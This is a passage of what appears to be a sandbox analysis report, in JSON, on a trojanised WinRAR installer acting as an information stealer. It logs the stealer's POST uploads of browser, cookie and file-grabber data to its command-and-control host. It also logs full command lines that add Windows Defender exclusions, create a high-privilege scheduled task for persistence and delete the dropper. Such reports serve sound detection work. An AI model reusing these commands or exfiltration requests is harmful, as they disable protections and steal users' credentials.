boundary=----361EE8FE0000196C93BB4D5B\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\nHost: simplswop.io\nContent-Length: 2142\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"host":"simplswop.io","host_ip":"172.67.133.231:443","url":"/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber HTTP/1.1\nContent-Type: multipart/form-data; boundary=----361F10050000196C93BAB5A0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\nHost: simplswop.io\nContent-Length: 1149\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"host":"simplswop.io","host_ip":"172.67.133.231:443","url":"/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge HTTP/1.1\nContent-Type: multipart/form-data; boundary=----361F4A970000196C93BAEF32\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\nHost: simplswop.io\nContent-Length: 4608\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"host":"simplswop.io","host_ip":"172.67.133.231:443","url":"/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware HTTP/1.1\nContent-Type: multipart/form-data; boundary=----361F98F20000196C93BA3D57\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\nHost: simplswop.io\nContent-Length: 1370\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"host":"simplswop.io","host_ip":"172.67.133.231:443","url":"/backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\nHost: simplswop.io\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}],"processes":[{"pid":7012,"ppid":0,"name":"winrarx64-setup.exe","command_line":"","sha256":"0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","normalized_path":"C:\\winrarx64-setup.exe","uid":"00000000-00007012","icon":"$69"},{"pid":7200,"ppid":7012,"name":"powershell.exe","command_line":"-NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath 'C:'\"","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007012","uid":"00000000-00007200"},{"pid":7996,"ppid":7012,"name":"winrar-x64-710.exe","command_line":"","sha256":"fd635707f7b8f122efff39da595541627bcde249eb31596cc09d757f476b9523","normalized_path":"C:\\winrar-x64-710.exe","parent_uid":"00000000-00007012","uid":"00000000-00007996"},{"pid":7752,"ppid":7996,"name":"uninstall.exe","command_line":"/setup","sha256":"1347fb8a07082920c357cbcbdd95d0f95d24b13903edc955e62738e952d8c9a1","normalized_path":"%PROGRAMFILES%\\WinRAR\\uninstall.exe","parent_uid":"00000000-00007996","uid":"00000000-00007752"},{"pid":4404,"ppid":7012,"name":"powershell.exe","command_line":"-NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath '%WINDIR%\\EdgeUpdate\\'\"","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007012","uid":"00000000-00004404"},{"pid":4972,"ppid":7012,"name":"powershell.exe","command_line":"-NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath '%WINDIR%\\EdgeUpdate\\\\test.exe'\"","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007012","uid":"00000000-00004972"},{"pid":4284,"ppid":7012,"name":"test.exe","command_line":"%WINDIR%\\EdgeUpdate\\\\test.exe","sha256":"f6e71c379e3c0b25b7be83b78f19e2950c8ee1dcc3829ca44b42099e4c9e194b","normalized_path":"%WINDIR%\\EdgeUpdate\\test.exe","parent_uid":"00000000-00007012","uid":"00000000-00004284"},{"pid":6900,"ppid":4284,"name":"cmd.exe","command_line":"/c schtasks /create /tn \"EdgeUpdate\" /tr \"%WINDIR%\\EdgeUpdate\\MicrosoftEdgeSecurity.exe\" /sc minute /mo 5 /f /rl highest","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\SYSTEM32\\cmd.exe","parent_uid":"00000000-00004284","uid":"00000000-00006900"},{"pid":7296,"ppid":6900,"name":"schtasks.exe","command_line":"schtasks /create /tn \"EdgeUpdate\" /tr \"%WINDIR%\\EdgeUpdate\\MicrosoftEdgeSecurity.exe\" /sc minute /mo 5 /f /rl highest","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00006900","uid":"00000000-00007296"},{"pid":6508,"ppid":4284,"name":"MicrosoftEdgeSecurity.exe","command_line":"","sha256":"f6e71c379e3c0b25b7be83b78f19e2950c8ee1dcc3829ca44b42099e4c9e194b","normalized_path":"%WINDIR%\\EdgeUpdate\\MicrosoftEdgeSecurity.exe","parent_uid":"00000000-00004284","uid":"00000000-00006508"},{"pid":7560,"ppid":6508,"name":"msedge.exe","command_line":"--user-data-dir=\"%TEMP%\\abdv2_lu\" --no-first-run","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00006508","uid":"00000000-00007560"},{"pid":7072,"ppid":4284,"name":"cmd.exe","command_line":"/c timeout /t 3 /nobreak > nul & del /f /q \"%WINDIR%\\EdgeUpdate\\test.exe\" & rmdir \"%WINDIR%\\EdgeUpdate\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00004284","uid":"00000000-00007072"},{"pid":7632,"ppid":7072,"name":"timeout.exe","command_line":"timeout /t 3 /nobreak","sha256":"b6d49416f9ad736b0de3e8e2f3b9174f7f274751de9cff9f5d0840dd1e03b56a","normalized_path":"%WINDIR%\\system32\\timeout.exe","parent_uid":"00000000-00007072","uid":"00000000-00007632"},{"pid":4064,"ppid":0,"name":"MicrosoftEdgeSecurity.exe","command_line":"","sha256":"f6e71c379e3c0b25b7be83b78f19e2950c8ee1dcc3829ca44b42099e4c9e194b","normalized_path":"%WINDIR%\\EdgeUpdate\\MicrosoftEdgeSecurity.exe","uid":"00000000-00004064","icon":"$6a"},{"pid":3892,"ppid":0,"name":"MicrosoftEdgeSecurity.exe","command_line":"","sha256":"f6e71c379e3c0b25b7be83b78f19e2950c8ee1dcc3829ca44b42099e4c9e194b","normalized_path":"%WINDIR%\\EdgeUpdate\\MicrosoftEdgeSecurity.exe","uid":"00000000-00003892","icon":"$6b"},{"pid":7356,"ppid":0,"name":"MicrosoftEdgeSecurity.exe","command_line":"","sha256":"f6e71c379e3c0b25b7be83b78f19e2950c8ee1dcc3829ca44b42099e4c9e194b","normalized_path":"%WINDIR%\\EdgeUpdate\\MicrosoftEdgeSecurity.exe","uid":"00000000-00007356","icon":"$6c"},{"pid":6780,"ppid":0,"name":"MicrosoftEdgeSecurity.exe","command_line":"","sha256":"f6e71c379e3c0b25b7be83b78f19e2950c8ee1dcc3829ca44b42099e4c9e194b","normalized_path":"%WINDIR%\\EdgeUpdate\\MicrosoftEdgeSecurity.exe","uid":"00000000-00006780","icon":"$6d"},{"pid":5916,"ppid":0,"name":"MicrosoftEdgeSecurity.exe","command_line":"","sha256":"f6e71c379e3c0b25b7be83b78f19e2950c8ee1dcc3829ca44b42099e4c9e194b","normalized_path":"%WINDIR%\\EdgeUpdate\\MicrosoftEdgeSecurity.exe","uid":"00000000-00005916","icon":"$6e"},{"pid":7660,"ppid":0,"name":"MicrosoftEdgeSecurity.exe","command_line":"","sha256":"f6e71c379e3c0b25b7be83b78f19e2950c8ee1dcc3829ca44b42099e4c9e194b","normalized_path":"%WINDIR%\\EdgeUpdate\\MicrosoftEdgeSecurity.exe","uid":"00000000-00007660","icon":"$6f"}],"all_imported_dlls":["dwmapi.dll","wininet.dll","Microsoft.AppV.AppvClientComConsumer.dll","msimtf.dll","msctf.dll","amsi.dll","dpapi.dll","riched20.dll","mlang.dll","gdi32.dll","win32u.dll","winmmbase.dll","aepic.dll","linkinfo.dll","ncrypt.dll","profapi.dll","fltLib.dll","nsi.dll","OpcServices.dll","wbemsvc.dll","wow64win.dll","ole32.dll","Microsoft.PowerShell.Commands.Management.dll","CoreMessaging.dll","d3d11.dll","WinTypes.dll","cfgmgr32.dll","rsaenh.dll","rmclient.dll","cldapi.dll","clr.dll","powrprof.dll","vcruntime140.dll","wldp.dll","msls31.dll","mshtml.dll","d3d10warp.dll","urlmon.dll","mscoree.dll","xmllite.dll","pwrshsip.dll","UIAutomationCore.dll","normaliz.dll","oleaut32.dll","msIso.dll","bcrypt.dll","System.Core.ni.dll","psapi.dll","cryptnet.dll","SHCore.dll","gdi32full.dll","0XosBbz3.dll","VxSSL64.dll","sfc_os.dll","DWrite.dll","comctl32.dll","ntmarta.dll","Microsoft.Management.Infrastructure.ni.dll","Microsoft.PowerShell.Commands.Utility.dll","GdiPlus.dll","srpapi.dll","sxs.dll","uxtheme.dll","clbcatq.dll","System.Management.dll","sppc.dll","DataExchange.dll","System.Management.Automation.dll","netapi32.dll","srvcli.dll","cscapi.dll","taskschd.dll","mskeyprotect.dll","msvcp_win.dll","nsExec.dll","vcruntime140_clr0400.dll","System.Numerics.dll","System.Data.dll","secur32.dll","wkscli.dll","twinapi.appcore.dll","OnDemandConnRouteHelper.dll","Microsoft.PowerShell.ConsoleHost.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","miutils.dll","netutils.dll","userenv.dll","IPHLPAPI.DLL","imagehlp.dll","mscorlib.ni.dll","clrjit.dll","MpOAV.dll","System.DirectoryServices.dll","d2d1.dll","setupapi.dll","version.dll","mscoreei.dll","Microsoft.BitLocker.Structures.dll","pcacli.dll","shlwapi.dll","Microsoft.AppV.AppVClientPowerShell.dll","ieframe.dll","INetC.dll","ntdll.dll","windows.storage.dll","mswsock.dll","mpr.dll","wow64cpu.dll","advapi32.dll","msvcrt.dll","ucrtbase.dll","cryptsp.dll","oleacc.dll","wmidcom.dll","vcruntime140_1.dll","wow64.dll","apphelp.dll","gpapi.dll","dxgi.dll","TextInputFramework.dll","kernel32.dll","shfolder.dll","msasn1.dll","coml2.dll","AppxSip.dll","Microsoft.Management.Infrastructure.Native.dll","tiptsf.dll","user32.dll","shell32.dll","ws2_32.dll","winhttp.dll","winnsi.dll","System.Configuration.ni.dll","WindowsCodecs.dll","ntshrui.dll","sspicli.dll","combase.dll","ucrtbase_clr0400.dll","wshext.dll","System.Configuration.Install.dll","wbemcomn.dll","usp10.dll","ResourcePolicyClient.dll","Microsoft.PowerShell.Security.dll","samcli.dll","winmm.dll","iertutil.dll","rpcrt4.dll","bcryptprimitives.dll","imm32.dll","slc.dll","wbemprox.dll","edputil.dll","Windows.StateRepositoryPS.dll","KernelBase.dll","sechost.dll","System.ni.dll","System.Transactions.dll","dcomp.dll","ncryptsslp.dll","wintrust.dll","crypt32.dll","System.Xml.ni.dll","MpClient.dll","msisip.dll","ntasn1.dll","kernel.appcore.dll","atl.dll","mi.dll","fastprox.dll","CoreUIComponents.dll","ncryptprov.dll","cryptbase.dll","VxSSL32.dll","msvcp140.dll","propsys.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Uninstall.exe","sha256":"1347fb8a07082920c357cbcbdd95d0f95d24b13903edc955e62738e952d8c9a1","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"winrar-x64-710.exe","sha256":"fd635707f7b8f122efff39da595541627bcde249eb31596cc09d757f476b9523","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Console RAR manual.lnk","sha256":"ec2e775bde5fa6a7d3c2a77dcdee8e46a8405a032a63e8d201e8793e04d425f4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"What is new in the latest version.lnk","sha256":"d712793126dc1dc5086eceb7d61a2ac3906ab90dd931efe5681fda2791c8a92e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"WinRAR help.lnk","sha256":"d9a479bb1412103a2485a2d1480db7e36ce8dc64e7343a3eb9f6d99c32d9a7df","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"WinRAR.lnk","sha256":"90553feabfa45c859758c94865b0df9ae1529f1fe3aafb9fdaadeeb4eebc0ede","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"7zxa.dll","sha256":"1656fc44d7d28ecee5013d4fe74d376a945bc03fa788cf9e2d17a0a53daf708d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Rar.exe","sha256":"4b5e9b4ca11942b3bccf0a6f9e1f6d2662155b8ec1e07b87eb2a1722e292956c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"RarExt.dll","sha256":"33698e40caf37aae399c3d9c7adcc7433d1fde085c9200b21f12bf34bf2565fe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"RarExt32.dll","sha256":"5ed96affb99fa93dc4e9a553d561fa6c5719cf10241307c927c111d2fc1b2200","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"RarExtInstaller.exe","sha256":"9ba66ba2c0726b2ceab6c311ce825ad1b7a54aa468c2d2a1701c3ea643b8ee25","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"UnRAR.exe","sha256":"9db04f7564a40335c3302a927f604288cd6082d8a0eefd01038d9d5cc9808fa4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"WinRAR.chm","sha256":"abf0d987456f907fd4fca9b0427b575d143b5b4506f1f55d5f42ad4ace728db0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"WinRAR.exe","sha256":"f0eeddb2efeee20f1e94d55fa2012c38db6409502537acd72f1f446ec2525495","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"INetC.dll","sha256":"85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"nsExec.dll","sha256":"3a101fa91d4e8831dfb748a1e345ab74fd4a551e64254710bdf53972ba9b473c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Default.SFX","sha256":"9f5212b3de527840f14a2ab9149aa532637d4bdabe871caae728f4ac0c818915","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Default32.SFX","sha256":"e3e4bd4dc68c0beee95e6a2e53c4a0c546f415855ec96988772dc4fbcb0504ae","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"powershell.exe.log","sha256":"c16fa28b088d4a725152b8af9630445496f973c3c562ed4a4464ca357b0041dd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"StartupProfileData-NonInteractive","sha256":"58a6f06e6104f42941b66babeb467159c52cee59cf0124d327de8f7bd5e79192","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Descript.ion","sha256":"eda37e8880f577f714e8bf35abb82dfd41c6d294e6a5134030dc9228c06cefc4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Rar.txt","sha256":"96095f21a8d96a332ac2b5e786f96bf9a3d3739540c00c673d775496d755bdbb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"RarExtPackage.msix","sha256":"3b90e67a0e67800c2f7cd6afa6f80af12ec74aebb0e125a14138e4bf3813db5c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\nst98B5.tmp","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\nso98E5.tmp","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\nso98E5.tmp\\nsExec.dll","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"C:\\winrar-x64-710.exe","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"C:\\Windows","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\nso98E5.tmp\\INetC.dll","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%WINDIR%\\EdgeUpdate\\test.exe","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\GoogleAdsSpainWinRarT1[1].exe","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_h3h0kntp.do0.ps1","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_t0nsvuxq.m0m.psm1","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"C:\\Program Files","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\__tmp_rar_sfx_access_check_907903265","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\Descript.ion","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\ReadMe.txt","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\License.txt","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\Rar.txt","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\WhatsNew.txt","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\Order.htm","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\RarFiles.lst","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\Uninstall.lst","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\Rar.exe","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\Uninstall.exe","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\UnRAR.exe","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\WinRAR.exe","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\7zxa.dll","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\RarExt.dll","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\WinRAR.chm","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\Default32.SFX","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\WinCon32.SFX","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\Zip32.SFX","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\RarExtInstaller.exe","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\RarExt32.dll","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\RarExtPackage.msix","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\RarExtLogo.altform-unplated_targetsize-32.png","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\RarExtLogo.altform-unplated_targetsize-48.png","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\RarExtLogo.altform-unplated_targetsize-64.png","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\Resources.pri","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\Default.SFX","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\WinCon.SFX","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\Zip.SFX","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\rarnew.dat","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%PROGRAMFILES%\\WinRAR\\zipnew.dat","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\WinRAR\\WinRAR.lnk","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\WinRAR\\WinRAR help.lnk","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\WinRAR\\Console RAR manual.lnk","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\WinRAR\\What is new in the latest version.lnk","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\WinRAR\\WinRAR.lnk","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\WinRAR\\WinRAR help.lnk","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\WinRAR\\Console RAR manual.lnk","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\WinRAR\\What is new in the latest version.lnk","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_nqgob0zy.3ln.ps1","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_g3kkuv3a.wnm.psm1","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%WINDIR%\\EdgeUpdate","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%WINDIR%\\EdgeUpdate\\MicrosoftEdgeSecurity.exe","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_Edge","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_Edge\\Default\\cookies\\adnxs.com.txt","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_Edge\\Default\\cookies\\bing.com.txt","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_Edge\\Default\\cookies\\clar